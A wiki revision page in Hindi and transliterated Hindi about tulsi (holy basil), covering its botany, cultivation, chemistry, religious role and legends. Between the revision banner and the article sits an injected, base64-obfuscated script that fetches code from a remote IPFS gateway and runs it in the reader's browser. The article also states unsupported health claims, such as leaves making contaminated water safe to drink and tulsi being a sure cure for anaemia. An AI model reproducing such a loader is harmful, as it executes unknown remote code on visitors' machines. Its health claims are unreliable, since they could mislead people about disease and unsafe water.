Difference between revisions of "तुलसी"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "६" to "6")
Line 95: Line 95:
 
==तुलसी का धार्मिक एवं आध्यात्मिक परिचय==
 
==तुलसी का धार्मिक एवं आध्यात्मिक परिचय==
 
;तुलसी आध्यात्मिक पृष्ठभूमि -  
 
;तुलसी आध्यात्मिक पृष्ठभूमि -  
−
तुलसी का पौधा हमारे लिए धार्मिक एवं आध्यात्मिक महत्व का पौधा है जिस घर में इसका वास होता है वहा आध्यात्मिक उन्नति के साथ सुख-शांति एवं आर्थिक समृद्धता स्वतः आ जाती है। वातावारण में स्वच्छता एवं शुद्धता, प्रदूषण का शमन, घर परिवार में आरोग्य की जड़ें मजबूत करने, श्रद्धा तत्व को जीवित करने जैसे अनेकों लाभ इसके हैं। तुलसी के नियमित सेवन से सौभाग्यशालिता के साथ ही सोच में पवित्रता, मन में एकाग्रता आती है और क्रोध पर पूर्ण नियंत्रण हो जाता है। आलस्य दूर होकर शरीर में दिनभर फूर्ती बनी रहती है। तुलसी की सूक्ष्म व कारण शक्ति अद्वितीय है। यह आत्मोन्नति का पथ प्रशस्त करती है तथा गुणों की दृष्टि से संजीवनी बूटी है। तुलसी को प्रत्यक्ष देव मानने और मंदिरों एवं घरों में उसे लगाने, पूजा करने के पीछे संभवतः यही कारण है कि यह सर्व दोष निवारक औषधि सर्व सुलभ तथा सर्वोपयोगी है। धार्मिक धारणा है कि तुलसी की सेवापूजा व आराधना से व्यक्ति स्वस्थ एवं सुखी रहता है। अनेक भारतीय हर रोग में तुलसीदल-ग्रहण करते हुए इसे दैवीय गुणों से युक्त सौ रोगों की एक दवा मानते हैं। गले में तुलसी-काष्ठ की माला पहनते हैं।
+
*तुलसी का पौधा हमारे लिए धार्मिक एवं आध्यात्मिक महत्व का पौधा है जिस घर में इसका वास होता है वहा आध्यात्मिक उन्नति के साथ सुख-शांति एवं आर्थिक समृद्धता स्वतः आ जाती है। वातावारण में स्वच्छता एवं शुद्धता, प्रदूषण का शमन, घर परिवार में आरोग्य की जड़ें मजबूत करने, श्रद्धा तत्व को जीवित करने जैसे अनेकों लाभ इसके हैं। तुलसी के नियमित सेवन से सौभाग्यशालिता के साथ ही सोच में पवित्रता, मन में एकाग्रता आती है और क्रोध पर पूर्ण नियंत्रण हो जाता है। आलस्य दूर होकर शरीर में दिनभर फूर्ती बनी रहती है। तुलसी की सूक्ष्म व कारण शक्ति अद्वितीय है। यह आत्मोन्नति का पथ प्रशस्त करती है तथा गुणों की दृष्टि से संजीवनी बूटी है। तुलसी को प्रत्यक्ष देव मानने और मंदिरों एवं घरों में उसे लगाने, पूजा करने के पीछे संभवतः यही कारण है कि यह सर्व दोष निवारक औषधि सर्व सुलभ तथा सर्वोपयोगी है। धार्मिक धारणा है कि तुलसी की सेवापूजा व आराधना से व्यक्ति स्वस्थ एवं सुखी रहता है। अनेक भारतीय हर रोग में तुलसीदल-ग्रहण करते हुए इसे दैवीय गुणों से युक्त सौ रोगों की एक दवा मानते हैं। गले में तुलसी-काष्ठ की माला पहनते हैं।
  
−
तुलसी को दैवी गुणों से अभिपूरित मानते हुए इसके विषय में अध्यात्म ग्रंथों में काफ़ी कुछ लिखा गया है। इसे संस्कृत में '''हरिप्रिया''' कहते हैं। इस औषधि की उत्पत्ति से भगवान् विष्णु का मनः संताप दूर हुआ इसी कारण यह नाम इसे दिया गया है। ऐसा विश्वास है कि तुलसी की जड़ में सभी तीर्थ, मध्य में सभी देवि-देवियाँ और ऊपरी शाखाओं में सभी वेद स्थित हैं। तुलसी का प्रतिदिन दर्शन करना पापनाशक समझा जाता है तथा पूजन करना मोक्षदायक। देवपूजा और श्राद्धकर्म में तुलसी आवश्यक है। तुलसी पत्र से पूजा करने से व्रत, यज्ञ, जप, होम, हवन करने का पुण्य प्राप्त होता है। ऐसा कहा जाता है, जिनके मृत शरीर का दहन तुलसी की लकड़ी की अग्नि से क्रिया जाता है, वे मोक्ष को प्राप्त होते हैं, उनका पुनर्जन्म नहीं होता। प्राणी के अंत समय में मृत शैया पर पड़े रोगी को तुलसी दलयुक्त जल सेवन कराये जाने के विधान में तुलसी की शुध्दता ही मानी जाती है।  
+
*तुलसी को दैवी गुणों से अभिपूरित मानते हुए इसके विषय में अध्यात्म ग्रंथों में काफ़ी कुछ लिखा गया है। इसे संस्कृत में '''हरिप्रिया''' कहते हैं। इस औषधि की उत्पत्ति से भगवान् विष्णु का मनः संताप दूर हुआ इसी कारण यह नाम इसे दिया गया है। ऐसा विश्वास है कि तुलसी की जड़ में सभी तीर्थ, मध्य में सभी देवि-देवियाँ और ऊपरी शाखाओं में सभी वेद स्थित हैं। तुलसी का प्रतिदिन दर्शन करना पापनाशक समझा जाता है तथा पूजन करना मोक्षदायक। देवपूजा और श्राद्धकर्म में तुलसी आवश्यक है। तुलसी पत्र से पूजा करने से व्रत, यज्ञ, जप, होम, हवन करने का पुण्य प्राप्त होता है। ऐसा कहा जाता है, जिनके मृत शरीर का दहन तुलसी की लकड़ी की अग्नि से क्रिया जाता है, वे मोक्ष को प्राप्त होते हैं, उनका पुनर्जन्म नहीं होता। प्राणी के अंत समय में मृत शैया पर पड़े रोगी को तुलसी दलयुक्त जल सेवन कराये जाने के विधान में तुलसी की शुध्दता ही मानी जाती है और उस व्यक्ति को मोक्ष प्राप्त हो, ऐसा माना जाता है।
  
−
देवता के रूप में पूजे जाने वाले इस पौधे ‘तुलसी’ की पूजा कब कैसे, क्यों और किसके द्वारा शुरू की गई इसके कोई वैज्ञानिक प्रमाण तो उपलब्ध नहीं है। परन्तु प्रचलित पौराणिक कथा के अनुसार देव और दानवों द्वारा किए गए समुद्र मंथन के समय जो अमृत धरती पर छलका, उसी से ‘‘तुलसी’’ की उत्पत्ति हुई। ब्रह्मदेव ने उसे भगवान विष्णु को सौंपा। लंका में विभीषण के घर तुलसी का पौधा देखकर हनुमान अति हर्षित हुये थे। इसकी महिमा के वर्णन में कहा गया है, '''नामायुध अंकित गृह शोभा वरिन न जाई। नव तुलसी के वृन्द तहंदेखि हरषि कपिराई।'''  
+
*देवता के रूप में पूजे जाने वाले इस पौधे ‘तुलसी’ की पूजा कब कैसे, क्यों और किसके द्वारा शुरू की गई इसके कोई वैज्ञानिक प्रमाण तो उपलब्ध नहीं है। परन्तु प्रचलित पौराणिक कथा के अनुसार देव और दानवों द्वारा किए गए समुद्र मंथन के समय जो अमृत धरती पर छलका, उसी से ‘‘तुलसी’’ की उत्पत्ति हुई। ब्रह्मदेव ने उसे भगवान विष्णु को सौंपा। लंका में विभीषण के घर तुलसी का पौधा देखकर हनुमान अति हर्षित हुये थे। इसकी महिमा के वर्णन में कहा गया है, '''नामायुध अंकित गृह शोभा वरिन न जाई। नव तुलसी के वृन्द तहंदेखि हरषि कपिराई।'''  
  
−
पद्म पुराण में लिखा है कि जहाँ तुलसी का एक भी पौधा होता है। वहाँ ब्रह्मा, विष्णु, शंकर भी निवास करते हैं। आगे वर्णन आता है कि तुलसी की सेवा करने से महापातक भी उसी प्रकार नष्ट हो जाते हैं, जैसे सूर्य के उदय होने से अंधकार नष्ट हो जाता है। कहते हैं कि जिस प्रसाद में तुलसी नहीं होता उसे भगवान स्वीकार नहीं करते। भगवान विष्णु, योगेश्वर कृष्ण और पांडुरंग (श्री बालाजी) के पूजन के समय तुलसी पत्रों का हार उनकी प्रतिमाओं को अर्पण किया जाता है। तुलसी - वृन्दा श्रीकृष्ण भगवान की प्रिया मानी जाती है और इसकी भोग लगाकर भगवत प्रेमीजन इसका प्रसाद रूप में ग्रहण करते हैं। स्वर्ण, रत्न, मोती से बने पुष्प यदि श्रीकृष्ण को चढ़ाए जाएँ तो भी तुलसी पत्र के बिना वे अधूरे हैं। श्रीकृष्ण अथवा विष्णुजी तुलसी पत्र से प्रोक्षण किए बिना नैवेद्य स्वीकार नहीं करते।  
+
*पद्म पुराण में लिखा है कि जहाँ तुलसी का एक भी पौधा होता है। वहाँ ब्रह्मा, विष्णु, शंकर भी निवास करते हैं। आगे वर्णन आता है कि तुलसी की सेवा करने से महापातक भी उसी प्रकार नष्ट हो जाते हैं, जैसे सूर्य के उदय होने से अंधकार नष्ट हो जाता है। कहते हैं कि जिस प्रसाद में तुलसी नहीं होता उसे भगवान स्वीकार नहीं करते। भगवान विष्णु, योगेश्वर कृष्ण और पांडुरंग (श्री बालाजी) के पूजन के समय तुलसी पत्रों का हार उनकी प्रतिमाओं को अर्पण किया जाता है। तुलसी - वृन्दा श्रीकृष्ण भगवान की प्रिया मानी जाती है और इसकी भोग लगाकर भगवत प्रेमीजन इसका प्रसाद रूप में ग्रहण करते हैं। स्वर्ण, रत्न, मोती से बने पुष्प यदि श्रीकृष्ण को चढ़ाए जाएँ तो भी तुलसी पत्र के बिना वे अधूरे हैं। श्रीकृष्ण अथवा विष्णुजी तुलसी पत्र से प्रोक्षण किए बिना नैवेद्य स्वीकार नहीं करते।  
  
−
इस पौधे की पूजा विशेष कर स्त्रियाँ करती हैं। सद गृहस्थ महिलाएं सौभाग्य, वंश समृध्दि हेतु तुलसी- पौधे को जल सिंचन, रोली अक्षत से पूजकर दीप जलाती हुई अर्चना-प्रार्थना में कहती है। '''सौभाग्य सन्तति देहि, धन धान्यं व सदा।''' वैसे वर्ष भर तुलसी के थाँवले का पूजन होता है, परन्तु विशेष रूप से कार्तिक मास में इसे पूजते हैं। कार्तिक मास में विष्णु भगवान का तुलसीदल से पूजन करने का माहात्म्य अवर्णनीय है। तुलसी पूजा का दिन विष्णु पुराण के अनुसार कार्तिक नवमी / [[कार्तिक]] सुदी [[एकादशी]] को तुलसी विवाह के रूप में उल्लेख किया है किंतु अन्य धर्म ग्रंथों में प्रबोधिनी एकादशी को शुभ एवं फलदायी बताया गया हैं इसी दिन गोधूली बेला में भगवान सालिगराम, तुलसी व शंख का पूजन करने से विशेष पुण्य की प्राप्ति होती है। लोग इस दिन तुलसी एवं भगवान सालिगराम का विवाह कर पूजा अर्चना करते है। यह दिन अत्यंत शुभ माना जाता है और मान्यता है कि इस दिन योगेश्वर भगवान विष्णु अपनी योगनिद्रा से जागते है और उसके बाद सारे शुभ कार्य करने शुरू किये जाते है। तुलसी विवाह से कन्यादान के बराबर पुण्य मिलता है साथ ही घर में श्री, संपदा, वैभव-मंगल विराजते हैं।
+
*इस पौधे की पूजा विशेष कर स्त्रियाँ करती हैं। सद गृहस्थ महिलाएं सौभाग्य, वंश समृध्दि हेतु तुलसी- पौधे को जल सिंचन, रोली अक्षत से पूजकर दीप जलाती हुई अर्चना-प्रार्थना में कहती है। '''सौभाग्य सन्तति देहि, धन धान्यं व सदा।''' वैसे वर्ष भर तुलसी के थाँवले का पूजन होता है, परन्तु विशेष रूप से कार्तिक मास में इसे पूजते हैं। कार्तिक मास में विष्णु भगवान का तुलसीदल से पूजन करने का माहात्म्य अवर्णनीय है। तुलसी पूजा का दिन विष्णु पुराण के अनुसार कार्तिक नवमी / [[कार्तिक]] सुदी [[एकादशी]] को तुलसी विवाह के रूप में उल्लेख किया है किंतु अन्य धर्म ग्रंथों में प्रबोधिनी एकादशी को शुभ एवं फलदायी बताया गया हैं इसी दिन गोधूली बेला में भगवान सालिगराम, तुलसी व शंख का पूजन करने से विशेष पुण्य की प्राप्ति होती है। लोग इस दिन तुलसी एवं भगवान सालिगराम का विवाह कर पूजा अर्चना करते है। यह दिन अत्यंत शुभ माना जाता है और मान्यता है कि इस दिन योगेश्वर भगवान विष्णु अपनी योगनिद्रा से जागते है और उसके बाद सारे शुभ कार्य करने शुरू किये जाते है। तुलसी विवाह से कन्यादान के बराबर पुण्य मिलता है साथ ही घर में श्री, संपदा, वैभव-मंगल विराजते हैं।
  
 
तुलसी की आराधना करते हुए ग्रंथ लिखते हैं -----
 
तुलसी की आराधना करते हुए ग्रंथ लिखते हैं -----
Line 307: Line 307:
 
*जब दूषित पानी पीने से पेट में कृमि हो जाये तो जल की शुध्दता के लिए तुलसी के पत्ते जल पात्र में डालिए और कम से कम एक सवा घंटे रखिए। कपड़े से पात्र के जल को छानते हुए जल में डाले गये पत्तों को भी छान लीजिए तब यह पानी पीने लायक़ शुध्द हो जाता है।  
 
*जब दूषित पानी पीने से पेट में कृमि हो जाये तो जल की शुध्दता के लिए तुलसी के पत्ते जल पात्र में डालिए और कम से कम एक सवा घंटे रखिए। कपड़े से पात्र के जल को छानते हुए जल में डाले गये पत्तों को भी छान लीजिए तब यह पानी पीने लायक़ शुध्द हो जाता है।  
 
*तुलसी भोजन को शुद्ध करती है, इसी कारण ग्रहण लगने के पहले भोजन में डाल देते हैं जिससे सूर्य या चंद्र की विकृत किरणों का प्रभाव भोजन पर नहीं पड़ता।
 
*तुलसी भोजन को शुद्ध करती है, इसी कारण ग्रहण लगने के पहले भोजन में डाल देते हैं जिससे सूर्य या चंद्र की विकृत किरणों का प्रभाव भोजन पर नहीं पड़ता।
−
*मृत व्यक्ति के मुंह में डाला जाता है, धार्मिक पद्धति के अनुसार उस व्यक्ति को मोक्ष प्राप्त हो, ऐसा माना जाता है।
 
 
*तुलसी रक्त अल्पता के लिए रामबाण दवा है। नियमित सेवन से हीमोग्लोबीन तेजी से बढ़ता है, स्फूर्ति बनी रहती है।
 
*तुलसी रक्त अल्पता के लिए रामबाण दवा है। नियमित सेवन से हीमोग्लोबीन तेजी से बढ़ता है, स्फूर्ति बनी रहती है।
 
*तुलसी की सेवा अपने हाथों से करें, कभी चर्म रोग नहीं होगा।
 
*तुलसी की सेवा अपने हाथों से करें, कभी चर्म रोग नहीं होगा।

Revision as of 19:12, 19 April 2011

chitr:Icon-edit.gif is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tulasi
jagat padap
dvipad nam aausimam saiktam

parichay

bharat mean tulasi ka mahattvapoorn sthan hai. tulasi shabd ka vishleshan karane par jnat hota hai ki jis vanaspati ki kisi se tulana n ki ja sake vah tulasi hai. tulasi ko hindoo dharm mean jagat-janani ka pad prapt hai. tulasi ke mahatmyoan v karan shakti ke sookshm prabhavoan se puranoan ke adhyay bhare p de haian. hindooo dvara sadiyoan se devata ke roop mean ghar-ghar pooje jane vala paudha tulasi (Holy Basil) hai. par bahut hi kam log yah janate hai ki yah paudha matr dharm aur adhyatmik taur par hi poojyaniy nahian hai varanh isake any jivanadayi gun bhi hai jo is paudhe ki mahatta mean char chaand laga dete hai. sarv rog nivarak tatha jivan shakti sanvardhak is aushadhi ko sanbhavatah pratyaksh dev mana jana isi tathy par adharit hai ki aisi sasti, sulabh, sugam, suandar, upayogi vanaspati manushy samuday ke lie koee aur nahian hai. tulasi apake jivan ko nirogi evan atma ka shodhan kar use pavitr banane mean apana mahattvapoorn yogadan deti hai.

adhikaansh hiandoo gharoan mean tulasi ka paudha avashy hi hota hai. tulasi ghar ke aangan mean lagane ki pratha hajaroan sal purani hai. tulasi ko daivi ka roop mana jata hai. sath hi manyata hai ki tulasi ka paudha ghar mean hone se ghar valoan ko buri najar prabhavit nahian kar pati aur any buraiyaan bhi ghar aur gharavaloan se door hi rahati hai. tulasi ka paudha ghar mean rahane se usaki sugandh vatavaran ko pavitr banati hai aur hava mean maujood bimari ke baikteriya adi ko nasht kar deti hai. tulasi ki suangadh hamean shvas sanbandhi kee rogoan se bachati hai. sath hi tulasi ki ek patti roj sevan karane se hamean kabhi bukhar nahian aega aur is tarah ke sabhi rog hamase sada door rahate haian. tulasi ki patti khane se hamare sharir ki rogapratirodhak kshamata kafi badh jati hai.

tulasi ke ath nam --

dharmashastroan ke anusar tulasi ke ath nam batae ge haian - vrianda, vriandavani, vishv poojita, vishv pavani, pushpasara, nandini, tulasi aur krishna jivani.

tulasi ka vanaspatik parichay

tulasi
200px|Holi Tulsi
Holi Tulsi
200px|Sweet Tulsi
Sweet Tulsi
200px|Thai Tulsi
Thai Tulsi
200px|Lemon Tulsi
Lemon Tulsi
200px|Purple Tulsi
Purple Tulsi
200px|Cinnamon Tulsi
Cinnamon Tulsi

bharat ke pratyek bhag mean tulasi ke paudhe paye jate haian isaka paudha b da vriksh nahian banata keval dedh ya do phut tak badhata hai. isaki j dean dharati ki gaharaee tak jakar pani khianch nahian sakati. nityajal sianchan se isaki sanbhal-suraksha ki jati hai. tulasi ki lagabhag 60 prajatiyaan eshiya, aphrika, amerika tatha any deshoan me ugaee jati hai. tulasi vishv ki lagabhag sabhi jalavayu mean paee jati haian. tulasi sada harit hoti hai. sadharanatah march se joon tak ise lagate haian. sitambar aur aktoobar mean vah phoolata hai. sara paudha sugandhit manjariyoan se lad jata hai. ja de ke dinoan mean isake bij pakate haian. yah barahoan mah kisi n kisi roop mean prapt kiya ja sakata hai. tulasi ki samanyataya nimn prajatiyaan paee jati haian.

  1. aausimam amerikan, osimam kenam - (kali tulasi) gambhira ya mamari.
  2. aausimam vesilikam - (marua tulasi), munjariki ya murasa, (svit besil ya phreanch besil ya iandiyan besil ya mithi tulasi).
  3. aausimam vesilikam minimam.
  4. asimam gretisikam - (ram tulasi, van tulasi).
  5. aausimam kilimandacherikam - (kapoori / kapoor tulasi, bel tulasi). saphed tulasi
  6. aausimam saiktam - shri tulasi tatha krishnaa tulasi, (ghareloo tulasi). shyam tulasi
  7. aausimam viridi - (jangali tulasi).

inamean aausimam saiktam ko pradhan ya pavitr tulasi mana gaya jata hai, isaki bhi do pradhan prajatiyaan haian - shri tulasi jisaki pattiyaan hari hoti haian tatha krishnaa tulasi jisaki pattiyaan nilabh - kuchh baiangani rang lie hoti haian. shri tulasi ke patr tatha shakhaean shvetabh hote haian, jabaki krishna tulasi ke patradi krishna rang ke hote haian. inamean krishna tulasi sarvapriy mani jati hai. gun, dharm ki drishti se kali tulasi ko hi shreshth mana gaya hai, parantu adhikaansh vidvanoan ka mat hai ki donoan hi gunoan mean saman haian. shri bhav mishr kahate haian - 'shyama shukla krishnaa ch tulasi gunaistulya prakirtit.'

osimam besilikam (svit besil ya phreanch besil ya iandiyan besil ya mithi tulasi) prajati bahut hi upayogi hai, kyoanki isase mitha tulasi ka tel (svitabesil aauil) milata hai. osimam besilikam lemiesi kul ka paudha hai. is paudhe ki lambaee 30 se 90 se॰ mi॰ hoti hai, pattiyoan ki lambaee 3-5 se॰ mi॰ hoti hai. paudhe mean bahut si tel kaushikaean hoti hai jo sugandh tel deti hai.

tulasi ka gulm ke saman kshup 1 se 3 phut ooancha shakhayukt romash, baiangani abha lie hota hai. patr 1 se 2 ianch lambe andakar ya ayatakar hote haian. pratyek patr mean ek prakar ki tivr sugandh hoti hai. tulasi mean kh di manjariyaan ugati haian. pushp manjari ati komal evan 8 ianch lambi aur anek rangi chhataoan se mandit hoti hai. is par baiangani ya rakt-si abha lie bahut chhote pushp chakroan mean lagate haian. pushpak prayah hridayavath hote haian. bij chapate pitavarn ke chhote kale chihnoan se yukt andakar hote haian. pushp shitakal mean ate haian.

sangrah sanrakshan -

tulasi ka patr, mool, bij upayogi aang haian. inhean sukhakar mukh band patroan mean sookhe shital sthanoan par rakha jata hai. inhean ek varsh tak prayog mean laya ja sakata hai. sarvatr evan sarvada sulabh hone se patroan ka prayog taji avastha mean kiya jana hi shreshth hai. aisa shastriy mat hai ki pattoan ko poornima, amavasya, dvadashi, soory sankraanti ke din, madhyahn kal ratri donoan sandhyaoan ke samay bina nahae-dhoe n to da jae. upayukt samay par to da jana dharmik mahattv rakhata hai, jal mean rakhe jane par taja patr bhi tin ratri tak pavitr rahata hai. yah paudha samantaya do-tin varshoan tak javan bana rahata hai. isake bad isaki vriddhavastha a jati hai to patte kam aur chhote ate haian. sookhi-sookhi danthalean kh di dikhaee deti haian. tab use hatakar naya paudha lagane ki avashyakata pratit hoti hai.

rasayanik sangathan

tulasi mean anekoan jaiv sakriy rasayan pae ge haian, jinamean trainin, saivonin, glaikosaid aur elkelaids pramukh haian. abhi bhi poori tarah se inaka vishleshan nahian ho paya hai.

pramukh sakriy tatv haian ek prakar ka pila u danashil tel jisaki matra sangathan sthan v samay ke anusar badalate rahate haian. 0.1 se 0.3 pratishat tak tel paya jana samany bat hai. 'vailth aauph indiya' ke anusar is tel mean lagabhag 71 pratishat yoojin aaul, bis pratishat yoojin aaul mithail eethar tatha tin pratishat karvakol hota hai. shri tulasi mean shyama ki apeksha kuchh adhik tel hota hai tatha is tel ka sapekshik ghanatv bhi kuchh adhik hota hai. tel ke atirikt patroan mean lagabhag 83 miligram pratishat vitamin si evan 2.5 miligram pratishat kairitin hota hai.

tulasi bijoan mean hare pile rang ka tel lagabhag 17.8 pratishat ki matra mean paya jata hai. isake ghatak haian kuchh sitoster aaul, anekoan vasa aml mukhyatah pamitik, stiyarik, olik, linolak aur linolik aml. tel ke alava bijoan mean shleshmak prachur matra mean hota hai. is myusilej ke pramukh ghatak haian - pentos, hekja yooronik aml aur rakh. rakh lagabhag 0.2 pratishat hoti hai.

tulasi ki kheti

upayog -- tulasi ka paudha aushadhiy gunoan se paripoorn evan sugandh tel ka uttam strot hai. vibhinn prajatiyoan ki tulasi ke tel mean rasayanik tatv alag-alag hone ke karan vibhinn utpadoan mean prayog kiya jata hai. isaka prayog sugandh banane, sardiyoan ki aushadhiyoan ke nirman, khaansi evan kaph ki dava banane, kanphaikshanari udyog evan tooth pest, mauthavash, dental krim adi ke nirman mean kiya jata hai. isaka tel khady padarthoan ko suvasit karane mean bhi kiya jata hai.

jalavayu -- tulasi ko sabhi prakar ki jalavayu vale sthanoan par ugaya ja sakata hai. uttar bharat ke maidani bhagoan me tulasi ko grishm rritu ki phasal ke roop mean ugaya ja sakata hai. tulasi ki santoshajanak vidhi ke lie madhyam tapakram adhik upayukt rahata haian. adhik varsha tatha pala tulasi ki upaj par bura prabhav dalate haian.

bhoomi -- tulasi ko vibhinn prakar ke mridaoan evan jalavayu me asani se ugaya ja sakata hai. tulasi ki kheti karane ke lie domat evan bulee domat mitti jinaka pi॰ ech॰ 5-8 ho evan jaladharan kshamata achchhi ho upayukt samajhi jati hai. adhik retili v bhari domat mitti upayukt nahian hai.

khet ki taiyari -- khet ko ek bar mitti palatane vale hal se tatha do bad desi hal ya kaltivetar se jot kar pata lagaean. gobar ki gali-s di khad upalabdh ho to aantim jutaee ke samay mitti mean mila dean. khet ki taiyari is prakar karean ki mee – joon me paudh lag jaye.

kism -- kusumohak evan vikar sudha, CIMAP lakhanoo dvara vikasit kismean haian.

tulasi ka dharmik evan adhyatmik parichay

tulasi adhyatmik prishthabhoomi -
  • tulasi ka paudha hamare lie dharmik evan adhyatmik mahatv ka paudha hai jis ghar mean isaka vas hota hai vaha adhyatmik unnati ke sath sukh-shaanti evan arthik samriddhata svatah a jati hai. vatavaran mean svachchhata evan shuddhata, pradooshan ka shaman, ghar parivar mean arogy ki j dean majaboot karane, shraddha tatv ko jivit karane jaise anekoan labh isake haian. tulasi ke niyamit sevan se saubhagyashalita ke sath hi soch mean pavitrata, man mean ekagrata ati hai aur krodh par poorn niyantran ho jata hai. alasy door hokar sharir mean dinabhar phoorti bani rahati hai. tulasi ki sookshm v karan shakti advitiy hai. yah atmonnati ka path prashast karati hai tatha gunoan ki drishti se sanjivani booti hai. tulasi ko pratyaksh dev manane aur mandiroan evan gharoan mean use lagane, pooja karane ke pichhe sanbhavatah yahi karan hai ki yah sarv dosh nivarak aushadhi sarv sulabh tatha sarvopayogi hai. dharmik dharana hai ki tulasi ki sevapooja v aradhana se vyakti svasth evan sukhi rahata hai. anek bharatiy har rog mean tulasidal-grahan karate hue ise daiviy gunoan se yukt sau rogoan ki ek dava manate haian. gale mean tulasi-kashth ki mala pahanate haian.
  • tulasi ko daivi gunoan se abhipoorit manate hue isake vishay mean adhyatm granthoan mean kafi kuchh likha gaya hai. ise sanskrit mean haripriya kahate haian. is aushadhi ki utpatti se bhagavanh vishnu ka manah santap door hua isi karan yah nam ise diya gaya hai. aisa vishvas hai ki tulasi ki j d mean sabhi tirth, madhy mean sabhi devi-deviyaan aur oopari shakhaoan mean sabhi ved sthit haian. tulasi ka pratidin darshan karana papanashak samajha jata hai tatha poojan karana mokshadayak. devapooja aur shraddhakarm mean tulasi avashyak hai. tulasi patr se pooja karane se vrat, yajn, jap, hom, havan karane ka puny prapt hota hai. aisa kaha jata hai, jinake mrit sharir ka dahan tulasi ki lak di ki agni se kriya jata hai, ve moksh ko prapt hote haian, unaka punarjanm nahian hota. prani ke aant samay mean mrit shaiya par p de rogi ko tulasi dalayukt jal sevan karaye jane ke vidhan mean tulasi ki shudhdata hi mani jati hai aur us vyakti ko moksh prapt ho, aisa mana jata hai.
  • devata ke roop mean pooje jane vale is paudhe ‘tulasi’ ki pooja kab kaise, kyoan aur kisake dvara shuroo ki gee isake koee vaijnanik praman to upalabdh nahian hai. parantu prachalit pauranik katha ke anusar dev aur danavoan dvara kie ge samudr manthan ke samay jo amrit dharati par chhalaka, usi se ‘‘tulasi’’ ki utpatti huee. brahmadev ne use bhagavan vishnu ko sauanpa. lanka mean vibhishan ke ghar tulasi ka paudha dekhakar hanuman ati harshit huye the. isaki mahima ke varnan mean kaha gaya hai, namayudh aankit grih shobha varin n jaee. nav tulasi ke vrind tahandekhi harashi kapiraee.
  • padm puran mean likha hai ki jahaan tulasi ka ek bhi paudha hota hai. vahaan brahma, vishnu, shankar bhi nivas karate haian. age varnan ata hai ki tulasi ki seva karane se mahapatak bhi usi prakar nasht ho jate haian, jaise soory ke uday hone se aandhakar nasht ho jata hai. kahate haian ki jis prasad mean tulasi nahian hota use bhagavan svikar nahian karate. bhagavan vishnu, yogeshvar krishna aur paandurang (shri balaji) ke poojan ke samay tulasi patroan ka har unaki pratimaoan ko arpan kiya jata hai. tulasi - vrinda shrikrishna bhagavan ki priya mani jati hai aur isaki bhog lagakar bhagavat premijan isaka prasad roop mean grahan karate haian. svarn, ratn, moti se bane pushp yadi shrikrishna ko chadhae jaean to bhi tulasi patr ke bina ve adhoore haian. shrikrishna athava vishnuji tulasi patr se prokshan kie bina naivedy svikar nahian karate.
  • is paudhe ki pooja vishesh kar striyaan karati haian. sad grihasth mahilaean saubhagy, vansh samridhdi hetu tulasi- paudhe ko jal sianchan, roli akshat se poojakar dip jalati huee archana-prarthana mean kahati hai. saubhagy santati dehi, dhan dhanyan v sada. vaise varsh bhar tulasi ke thaanvale ka poojan hota hai, parantu vishesh roop se kartik mas mean ise poojate haian. kartik mas mean vishnu bhagavan ka tulasidal se poojan karane ka mahatmy avarnaniy hai. tulasi pooja ka din vishnu puran ke anusar kartik navami / kartik sudi ekadashi ko tulasi vivah ke roop mean ullekh kiya hai kiantu any dharm granthoan mean prabodhini ekadashi ko shubh evan phaladayi bataya gaya haian isi din godhooli bela mean bhagavan saligaram, tulasi v shankh ka poojan karane se vishesh puny ki prapti hoti hai. log is din tulasi evan bhagavan saligaram ka vivah kar pooja archana karate hai. yah din atyant shubh mana jata hai aur manyata hai ki is din yogeshvar bhagavan vishnu apani yoganidra se jagate hai aur usake bad sare shubh kary karane shuroo kiye jate hai. tulasi vivah se kanyadan ke barabar puny milata hai sath hi ghar mean shri, sanpada, vaibhav-mangal virajate haian.

tulasi ki aradhana karate hue granth likhate haian -----

mahaprasad janani sarv saubhagy vardhini . adhivyadhi harirnityan tulesitv namostute॥ he tulasi! ap sampoorn saubhagyoan ko badhane vali haian, sada adhi-vyadhi ko mitati haian, apako namaskar hai. akal mrityu haran sarv vyadhi vinashanamh॥ tulasi ko akal mrityu haran karane vali aur sampoorn rogoan ko door karane vali mana gaya hai.

ropanath palananh sekanh darshanatsparshanannrinamh . tulasi dahyate pap vadhumatah kay sanchitamh॥ tulasi ko lagane se, palane se, sianchane se, darshan karane se, sparsh karane se, manushyoan ke man, vachan aur kaya se sanchit pap jal jate haian. vayu puran mean tulasi patr to dane ki kuchh niyam maryadaean batate hue likha hai - asnatva tulasian chhitva yah pooja kurute narah . soaparadhi bhaveth satyan tath sarvanishphalan bhaveth॥ arthath - bina snan kie tulasi ko to dakar jo manushy pooja karata hai, vah aparadhi hai. usaki ki huee pooja nishphal jati hai, isamean koee sanshay nahian.

tulasi se ju di kathayean

dharmadhvaj ki patni ka nam madhavi tatha putri ka nam tulasi tha. vah ativ sundari thi. janm lete hi vah narivat hokar badarinath mean tapasya karane lagi. brahma ne darshan dekar use var maangane ke lie kaha. usane brahma ko bataya ki vah poorvajanm mean shrikrishna ki sakhi thi. radha ne use krishna ke sath ratikarm mean magn dekhakar mrityrilok jane ka shap diya tha. krishna ki prerana se hi usane brahma ki tapasya ki thi, at: brahma se usane pun: shrikrishna ko patiroop mean prapt karane ka var maanga. brahma ne kaha -- tum bhi jatismara ho tatha sudama bhi abhi jatismar hua hai, usako pati ke roop mean grahan karo. narayan ke shap aansh se tum vriksh roop grahan karake vriandavan mean tulasi athava vriandavani ke nam se vikhyat hogi. tumhare bina shrikrishna ki koee bhi pooja nahian ho payegi. radha ko bhi tum priy ho jaogi. brahma ne use shodashakshar radha mantr diya.

